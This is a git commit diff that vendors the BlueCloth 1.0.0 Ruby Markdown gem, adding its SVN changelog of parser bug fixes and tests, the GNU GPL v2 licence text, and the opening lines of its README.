Initial import
This commit is contained in:
366
vendor/gems/BlueCloth-1.0.0/CHANGES
vendored
Normal file
366
vendor/gems/BlueCloth-1.0.0/CHANGES
vendored
Normal file
@@ -0,0 +1,366 @@
|
||||
------------------------------------------------------------------------
|
||||
r69 | ged | 2004-08-24 22:27:15 -0700 (Tue, 24 Aug 2004) | 2 lines
|
||||
|
||||
- Fixed bug introduced by the last bugfix, fixed tests that missed the new bug.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r68 | ged | 2004-08-24 22:14:37 -0700 (Tue, 24 Aug 2004) | 3 lines
|
||||
|
||||
- Tracked down and fixed another regexp engine overflow bug; added a new test,
|
||||
datafile, and minimal testcase that illustrates it.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r66 | ged | 2004-08-24 07:57:17 -0700 (Tue, 24 Aug 2004) | 1 line
|
||||
|
||||
- Updated to v1.0.0.
|
||||
------------------------------------------------------------------------
|
||||
r65 | ged | 2004-08-24 07:56:47 -0700 (Tue, 24 Aug 2004) | 1 line
|
||||
|
||||
- Updated to v1.0.0.
|
||||
------------------------------------------------------------------------
|
||||
r64 | ged | 2004-08-24 07:53:32 -0700 (Tue, 24 Aug 2004) | 1 line
|
||||
|
||||
- Updated to 20040824.
|
||||
------------------------------------------------------------------------
|
||||
r63 | ged | 2004-08-24 07:52:05 -0700 (Tue, 24 Aug 2004) | 3 lines
|
||||
|
||||
- Added CHANGES.xml to ignore property for root directory.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r62 | ged | 2004-08-24 07:48:44 -0700 (Tue, 24 Aug 2004) | 7 lines
|
||||
|
||||
- Brought list of block-level tags up to date with Markdown 1.0's list
|
||||
- Propagated fix for overflow to the other two block-match patterns.
|
||||
- Abstracted list-item patterns out into constants to closer match Markdown's
|
||||
code and to expose them for use in other code.
|
||||
- Fixed indentation of <pre> blocks inside blockquotes.
|
||||
- Added new tests for all of the above.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r61 | ged | 2004-08-22 12:28:23 -0700 (Sun, 22 Aug 2004) | 5 lines
|
||||
|
||||
- Fixed re-engine overflow for all tested cases (thanks to Martin Chase
|
||||
<stillflame@FaerieMUD.org> for the fix).
|
||||
- Wrote some additional tests to be sure the block-level html escaper is working
|
||||
after the above fix.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r60 | ged | 2004-08-22 12:26:25 -0700 (Sun, 22 Aug 2004) | 2 lines
|
||||
|
||||
- Removed skip of overflow test.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r59 | ged | 2004-08-22 12:24:35 -0700 (Sun, 22 Aug 2004) | 2 lines
|
||||
|
||||
- "Fixed" the test case so it overflows again.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r58 | deveiant | 2004-08-08 22:12:02 -0700 (Sun, 08 Aug 2004) | 2 lines
|
||||
|
||||
- Updated to 20040808.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r57 | deveiant | 2004-08-08 18:16:14 -0700 (Sun, 08 Aug 2004) | 2 lines
|
||||
|
||||
- Modified to work from wherever the test is run (RPA compat).
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r56 | deveiant | 2004-08-08 18:15:57 -0700 (Sun, 08 Aug 2004) | 2 lines
|
||||
|
||||
- Modified to work from wherever the test is run (RPA compat).
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r55 | deveiant | 2004-08-08 18:15:27 -0700 (Sun, 08 Aug 2004) | 2 lines
|
||||
|
||||
- Updated version attribute.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r54 | deveiant | 2004-08-08 18:14:58 -0700 (Sun, 08 Aug 2004) | 2 lines
|
||||
|
||||
- Brought markdown syntax up to date with Markdown 1.0fc1.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r53 | deveiant | 2004-08-08 18:13:16 -0700 (Sun, 08 Aug 2004) | 2 lines
|
||||
|
||||
- Made the require-header work wherever the test is run from (RPA compat).
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r51 | deveiant | 2004-06-21 08:20:59 -0700 (Mon, 21 Jun 2004) | 4 lines
|
||||
|
||||
- Brought up to date with Markdown 1.0b7.
|
||||
|
||||
- Ignore list properties on the base and docs directories updated.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r50 | deveiant | 2004-06-02 06:37:15 -0700 (Wed, 02 Jun 2004) | 1 line
|
||||
|
||||
- Commented out non-functional --output option for now.
|
||||
------------------------------------------------------------------------
|
||||
r49 | deveiant | 2004-06-01 20:30:18 -0700 (Tue, 01 Jun 2004) | 2 lines
|
||||
|
||||
Initial checkin.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r48 | deveiant | 2004-06-01 20:29:31 -0700 (Tue, 01 Jun 2004) | 2 lines
|
||||
|
||||
- Added test for bug #574.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r47 | deveiant | 2004-06-01 20:21:04 -0700 (Tue, 01 Jun 2004) | 8 lines
|
||||
|
||||
- Test for bug #620 - Unresolved reference-style links doubled the character
|
||||
immediately after them.
|
||||
|
||||
- Added additional test email addresses, including ones that use extended latin
|
||||
charset.
|
||||
|
||||
- Added bug reference to a test.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r46 | deveiant | 2004-06-01 20:19:41 -0700 (Tue, 01 Jun 2004) | 4 lines
|
||||
|
||||
- Fix for bug #620 - Unresolved reference-style links doubled the character
|
||||
immediately after them.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r45 | deveiant | 2004-05-13 19:43:17 -0700 (Thu, 13 May 2004) | 4 lines
|
||||
|
||||
- Added tests for bug #568 (Two sets of bold text on one line doesn't render
|
||||
properly). Tests confirmed that two sets of bold text did work, but single
|
||||
characters being bolded does not.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r44 | deveiant | 2004-05-13 19:41:52 -0700 (Thu, 13 May 2004) | 2 lines
|
||||
|
||||
- Fixed bug with bolding of single characters (bug #568).
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r43 | deveiant | 2004-05-04 07:35:11 -0700 (Tue, 04 May 2004) | 2 lines
|
||||
|
||||
- Additional fixes and tests for bug #537.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r41 | deveiant | 2004-04-29 20:40:38 -0700 (Thu, 29 Apr 2004) | 2 lines
|
||||
|
||||
- Added bin/ directory.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r40 | deveiant | 2004-04-29 20:40:04 -0700 (Thu, 29 Apr 2004) | 2 lines
|
||||
|
||||
- Set date.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r39 | deveiant | 2004-04-29 20:39:24 -0700 (Thu, 29 Apr 2004) | 3 lines
|
||||
|
||||
- Added test for Bug #543 (Safe mode does not work when there are no left
|
||||
angle-brackets in the source).
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r38 | deveiant | 2004-04-29 20:38:42 -0700 (Thu, 29 Apr 2004) | 5 lines
|
||||
|
||||
- Added test for email address encoding (Bug #537).
|
||||
|
||||
- Added test for bug #541 (Leading line of codeblock with more than one tab
|
||||
width of indent mistakenly unindented).
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r37 | deveiant | 2004-04-29 20:35:26 -0700 (Thu, 29 Apr 2004) | 5 lines
|
||||
|
||||
- Fix for bug #543 (Safe mode does not work when there are no left
|
||||
angle-brackets in the source).
|
||||
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r36 | deveiant | 2004-04-29 20:33:01 -0700 (Thu, 29 Apr 2004) | 5 lines
|
||||
|
||||
- Fix for bug #541 (Leading line of codeblock with more than one tab
|
||||
width of indent mistakenly unindented)
|
||||
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r35 | deveiant | 2004-04-29 20:31:37 -0700 (Thu, 29 Apr 2004) | 3 lines
|
||||
|
||||
- Fix for bug #537. Fix suggested by Marek Janukowicz.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r32 | deveiant | 2004-04-22 21:47:42 -0700 (Thu, 22 Apr 2004) | 2 lines
|
||||
|
||||
- Temporary fixes until I have time to integrate SVN stuff.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r31 | deveiant | 2004-04-22 21:46:51 -0700 (Thu, 22 Apr 2004) | 2 lines
|
||||
|
||||
- Version bump.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r30 | deveiant | 2004-04-22 21:46:15 -0700 (Thu, 22 Apr 2004) | 2 lines
|
||||
|
||||
- Brought in line with most-recent release.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r29 | deveiant | 2004-04-22 21:40:50 -0700 (Thu, 22 Apr 2004) | 2 lines
|
||||
|
||||
- Version bump.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r28 | deveiant | 2004-04-22 21:39:05 -0700 (Thu, 22 Apr 2004) | 4 lines
|
||||
|
||||
- Bugfixes for bugs 524 and 525. Thanks to David Heinemeier Hansson and Javier
|
||||
Goizueta for bug reports and fixes.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r27 | deveiant | 2004-04-22 21:34:31 -0700 (Thu, 22 Apr 2004) | 2 lines
|
||||
|
||||
- Test for bugs 524 and 525
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r25 | deveiant | 2004-04-15 18:55:19 -0700 (Thu, 15 Apr 2004) | 1 line
|
||||
|
||||
- Corrected version
|
||||
------------------------------------------------------------------------
|
||||
r24 | deveiant | 2004-04-15 18:53:52 -0700 (Thu, 15 Apr 2004) | 2 lines
|
||||
|
||||
- Brought Version up to date.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r23 | deveiant | 2004-04-15 18:52:17 -0700 (Thu, 15 Apr 2004) | 1 line
|
||||
|
||||
- Updated ignore metadata.
|
||||
------------------------------------------------------------------------
|
||||
r22 | deveiant | 2004-04-15 18:51:14 -0700 (Thu, 15 Apr 2004) | 2 lines
|
||||
|
||||
Initial checkin.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r21 | deveiant | 2004-04-15 18:50:31 -0700 (Thu, 15 Apr 2004) | 6 lines
|
||||
|
||||
- Changed tests/ pattern to catch all tests.
|
||||
|
||||
- Added CHANGES.
|
||||
|
||||
- Dropped MANIFEST.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r20 | deveiant | 2004-04-15 18:49:46 -0700 (Thu, 15 Apr 2004) | 2 lines
|
||||
|
||||
- Added missing dependency check for devel-logger.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r19 | deveiant | 2004-04-15 18:49:12 -0700 (Thu, 15 Apr 2004) | 8 lines
|
||||
|
||||
- Added contributors section to the header.
|
||||
|
||||
- Integrated html- and style-filtering patch from Florian Gross <flgr@ccan.de>.
|
||||
|
||||
- Corrections to RedCloth-compatibility.
|
||||
|
||||
- Removed log from renderstate, as it's an attribute of the string itself.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r18 | deveiant | 2004-04-15 18:48:27 -0700 (Thu, 15 Apr 2004) | 8 lines
|
||||
|
||||
- Added contributors section to the header.
|
||||
|
||||
- Integrated html- and style-filtering patch from Florian Gross <flgr@ccan.de>.
|
||||
|
||||
- Corrections to RedCloth-compatibility.
|
||||
|
||||
- Removed log from renderstate, as it's an attribute of the string itself.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r15 | deveiant | 2004-04-11 23:02:54 -0700 (Sun, 11 Apr 2004) | 3 lines
|
||||
|
||||
- Added keywords.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r14 | deveiant | 2004-04-11 23:01:40 -0700 (Sun, 11 Apr 2004) | 2 lines
|
||||
|
||||
- Updated comments/added to-do marker.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r13 | deveiant | 2004-04-11 22:47:16 -0700 (Sun, 11 Apr 2004) | 3 lines
|
||||
|
||||
- Updated ignore list.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r12 | deveiant | 2004-04-11 22:46:49 -0700 (Sun, 11 Apr 2004) | 3 lines
|
||||
|
||||
Initial checkin.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r11 | deveiant | 2004-04-11 22:45:07 -0700 (Sun, 11 Apr 2004) | 3 lines
|
||||
|
||||
- Added a time() function for timing bits of code.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r10 | deveiant | 2004-04-11 22:43:10 -0700 (Sun, 11 Apr 2004) | 3 lines
|
||||
|
||||
- Changed keyword constants from CVS to SVN keywords.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r9 | deveiant | 2004-04-11 22:29:37 -0700 (Sun, 11 Apr 2004) | 3 lines
|
||||
|
||||
- Changed location of keyword stuff, added URL keyword.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r8 | deveiant | 2004-04-11 22:26:38 -0700 (Sun, 11 Apr 2004) | 3 lines
|
||||
|
||||
- Added the rest of the content.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r7 | deveiant | 2004-04-11 22:21:47 -0700 (Sun, 11 Apr 2004) | 12 lines
|
||||
|
||||
- Fixed license in header
|
||||
|
||||
- Fixed error message in exception class with no second argument.
|
||||
|
||||
- Removed unnecessary (and slllooowww) 'm' flag from HTML block matching
|
||||
patterns.
|
||||
|
||||
- Fixed code-span scanning to match spans that occur at the beginning of the
|
||||
line.
|
||||
|
||||
- Fixed error in code-span exception case.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r6 | deveiant | 2004-04-11 22:17:45 -0700 (Sun, 11 Apr 2004) | 3 lines
|
||||
|
||||
- Renamed to reflect repurposing.
|
||||
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r5 | deveiant | 2004-04-11 22:17:08 -0700 (Sun, 11 Apr 2004) | 2 lines
|
||||
|
||||
- Converted to bug-testing testcase.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r4 | deveiant | 2004-04-11 22:15:34 -0700 (Sun, 11 Apr 2004) | 2 lines
|
||||
|
||||
- Added some mode code span tests to catch bugs.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r3 | deveiant | 2004-04-10 21:40:29 -0700 (Sat, 10 Apr 2004) | 2 lines
|
||||
|
||||
- Updated dist/install utilities/libs.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
r2 | deveiant | 2004-04-10 13:36:46 -0700 (Sat, 10 Apr 2004) | 1 line
|
||||
|
||||
Removed markdown reference source
|
||||
------------------------------------------------------------------------
|
||||
r1 | deveiant | 2004-04-10 13:35:02 -0700 (Sat, 10 Apr 2004) | 1 line
|
||||
|
||||
Initial checkin
|
||||
340
vendor/gems/BlueCloth-1.0.0/LICENSE
vendored
Normal file
340
vendor/gems/BlueCloth-1.0.0/LICENSE
vendored
Normal file
@@ -0,0 +1,340 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 2, June 1991
|
||||
|
||||
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
|
||||
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
License is intended to guarantee your freedom to share and change free
|
||||
software--to make sure the software is free for all its users. This
|
||||
General Public License applies to most of the Free Software
|
||||
Foundation's software and to any other program whose authors commit to
|
||||
using it. (Some other Free Software Foundation software is covered by
|
||||
the GNU Library General Public License instead.) You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
this service if you wish), that you receive source code or can get it
|
||||
if you want it, that you can change the software or use pieces of it
|
||||
in new free programs; and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
anyone to deny you these rights or to ask you to surrender the rights.
|
||||
These restrictions translate to certain responsibilities for you if you
|
||||
distribute copies of the software, or if you modify it.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must give the recipients all the rights that
|
||||
you have. You must make sure that they, too, receive or can get the
|
||||
source code. And you must show them these terms so they know their
|
||||
rights.
|
||||
|
||||
We protect your rights with two steps: (1) copyright the software, and
|
||||
(2) offer you this license which gives you legal permission to copy,
|
||||
distribute and/or modify the software.
|
||||
|
||||
Also, for each author's protection and ours, we want to make certain
|
||||
that everyone understands that there is no warranty for this free
|
||||
software. If the software is modified by someone else and passed on, we
|
||||
want its recipients to know that what they have is not the original, so
|
||||
that any problems introduced by others will not reflect on the original
|
||||
authors' reputations.
|
||||
|
||||
Finally, any free program is threatened constantly by software
|
||||
patents. We wish to avoid the danger that redistributors of a free
|
||||
program will individually obtain patent licenses, in effect making the
|
||||
program proprietary. To prevent this, we have made it clear that any
|
||||
patent must be licensed for everyone's free use or not licensed at all.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License applies to any program or other work which contains
|
||||
a notice placed by the copyright holder saying it may be distributed
|
||||
under the terms of this General Public License. The "Program", below,
|
||||
refers to any such program or work, and a "work based on the Program"
|
||||
means either the Program or any derivative work under copyright law:
|
||||
that is to say, a work containing the Program or a portion of it,
|
||||
either verbatim or with modifications and/or translated into another
|
||||
language. (Hereinafter, translation is included without limitation in
|
||||
the term "modification".) Each licensee is addressed as "you".
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running the Program is not restricted, and the output from the Program
|
||||
is covered only if its contents constitute a work based on the
|
||||
Program (independent of having been made by running the Program).
|
||||
Whether that is true depends on what the Program does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Program's
|
||||
source code as you receive it, in any medium, provided that you
|
||||
conspicuously and appropriately publish on each copy an appropriate
|
||||
copyright notice and disclaimer of warranty; keep intact all the
|
||||
notices that refer to this License and to the absence of any warranty;
|
||||
and give any other recipients of the Program a copy of this License
|
||||
along with the Program.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy, and
|
||||
you may at your option offer warranty protection in exchange for a fee.
|
||||
|
||||
2. You may modify your copy or copies of the Program or any portion
|
||||
of it, thus forming a work based on the Program, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) You must cause the modified files to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
b) You must cause any work that you distribute or publish, that in
|
||||
whole or in part contains or is derived from the Program or any
|
||||
part thereof, to be licensed as a whole at no charge to all third
|
||||
parties under the terms of this License.
|
||||
|
||||
c) If the modified program normally reads commands interactively
|
||||
when run, you must cause it, when started running for such
|
||||
interactive use in the most ordinary way, to print or display an
|
||||
announcement including an appropriate copyright notice and a
|
||||
notice that there is no warranty (or else, saying that you provide
|
||||
a warranty) and that users may redistribute the program under
|
||||
these conditions, and telling the user how to view a copy of this
|
||||
License. (Exception: if the Program itself is interactive but
|
||||
does not normally print such an announcement, your work based on
|
||||
the Program is not required to print an announcement.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Program,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Program, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Program.
|
||||
|
||||
In addition, mere aggregation of another work not based on the Program
|
||||
with the Program (or with a work based on the Program) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may copy and distribute the Program (or a work based on it,
|
||||
under Section 2) in object code or executable form under the terms of
|
||||
Sections 1 and 2 above provided that you also do one of the following:
|
||||
|
||||
a) Accompany it with the complete corresponding machine-readable
|
||||
source code, which must be distributed under the terms of Sections
|
||||
1 and 2 above on a medium customarily used for software interchange; or,
|
||||
|
||||
b) Accompany it with a written offer, valid for at least three
|
||||
years, to give any third party, for a charge no more than your
|
||||
cost of physically performing source distribution, a complete
|
||||
machine-readable copy of the corresponding source code, to be
|
||||
distributed under the terms of Sections 1 and 2 above on a medium
|
||||
customarily used for software interchange; or,
|
||||
|
||||
c) Accompany it with the information you received as to the offer
|
||||
to distribute corresponding source code. (This alternative is
|
||||
allowed only for noncommercial distribution and only if you
|
||||
received the program in object code or executable form with such
|
||||
an offer, in accord with Subsection b above.)
|
||||
|
||||
The source code for a work means the preferred form of the work for
|
||||
making modifications to it. For an executable work, complete source
|
||||
code means all the source code for all modules it contains, plus any
|
||||
associated interface definition files, plus the scripts used to
|
||||
control compilation and installation of the executable. However, as a
|
||||
special exception, the source code distributed need not include
|
||||
anything that is normally distributed (in either source or binary
|
||||
form) with the major components (compiler, kernel, and so on) of the
|
||||
operating system on which the executable runs, unless that component
|
||||
itself accompanies the executable.
|
||||
|
||||
If distribution of executable or object code is made by offering
|
||||
access to copy from a designated place, then offering equivalent
|
||||
access to copy the source code from the same place counts as
|
||||
distribution of the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
4. You may not copy, modify, sublicense, or distribute the Program
|
||||
except as expressly provided under this License. Any attempt
|
||||
otherwise to copy, modify, sublicense or distribute the Program is
|
||||
void, and will automatically terminate your rights under this License.
|
||||
However, parties who have received copies, or rights, from you under
|
||||
this License will not have their licenses terminated so long as such
|
||||
parties remain in full compliance.
|
||||
|
||||
5. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Program or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Program (or any work based on the
|
||||
Program), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Program or works based on it.
|
||||
|
||||
6. Each time you redistribute the Program (or any work based on the
|
||||
Program), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute or modify the Program subject to
|
||||
these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties to
|
||||
this License.
|
||||
|
||||
7. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Program at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Program by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Program.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under
|
||||
any particular circumstance, the balance of the section is intended to
|
||||
apply and the section as a whole is intended to apply in other
|
||||
circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system, which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
system; it is up to the author/donor to decide if he or she is willing
|
||||
to distribute software through any other system and a licensee cannot
|
||||
impose that choice.
|
||||
|
||||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
8. If the distribution and/or use of the Program is restricted in
|
||||
certain countries either by patents or by copyrighted interfaces, the
|
||||
original copyright holder who places the Program under this License
|
||||
may add an explicit geographical distribution limitation excluding
|
||||
those countries, so that distribution is permitted only in or among
|
||||
countries not thus excluded. In such case, this License incorporates
|
||||
the limitation as if written in the body of this License.
|
||||
|
||||
9. The Free Software Foundation may publish revised and/or new versions
|
||||
of the General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Program
|
||||
specifies a version number of this License which applies to it and "any
|
||||
later version", you have the option of following the terms and conditions
|
||||
either of that version or of any later version published by the Free
|
||||
Software Foundation. If the Program does not specify a version number of
|
||||
this License, you may choose any version ever published by the Free Software
|
||||
Foundation.
|
||||
|
||||
10. If you wish to incorporate parts of the Program into other free
|
||||
programs whose distribution conditions are different, write to the author
|
||||
to ask for permission. For software which is copyrighted by the Free
|
||||
Software Foundation, write to the Free Software Foundation; we sometimes
|
||||
make exceptions for this. Our decision will be guided by the two goals
|
||||
of preserving the free status of all derivatives of our free software and
|
||||
of promoting the sharing and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
|
||||
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
|
||||
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
|
||||
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
|
||||
REPAIR OR CORRECTION.
|
||||
|
||||
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
|
||||
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
|
||||
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
|
||||
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
|
||||
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
|
||||
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
||||
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
convey the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program; if not, write to the Free Software
|
||||
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program is interactive, make it output a short notice like this
|
||||
when it starts in an interactive mode:
|
||||
|
||||
Gnomovision version 69, Copyright (C) year name of author
|
||||
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, the commands you use may
|
||||
be called something other than `show w' and `show c'; they could even be
|
||||
mouse-clicks or menu items--whatever suits your program.
|
||||
|
||||
You should also get your employer (if you work as a programmer) or your
|
||||
school, if any, to sign a "copyright disclaimer" for the program, if
|
||||
necessary. Here is a sample; alter the names:
|
||||
|
||||
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
|
||||
`Gnomovision' (which makes passes at compilers) written by James Hacker.
|
||||
|
||||
<signature of Ty Coon>, 1 April 1989
|
||||
Ty Coon, President of Vice
|
||||
|
||||
This General Public License does not permit incorporating your program into
|
||||
proprietary programs. If your program is a subroutine library, you may
|
||||
consider it more useful to permit linking proprietary applications with the
|
||||
library. If this is what you want to do, use the GNU Library General
|
||||
Public License instead of this License.
|
||||
99
vendor/gems/BlueCloth-1.0.0/README
vendored
Normal file
99
vendor/gems/BlueCloth-1.0.0/README
vendored
Normal file
@@ -0,0 +1,99 @@
|
||||
|
||||
BlueCloth
|
||||
=========
|
||||
|
||||
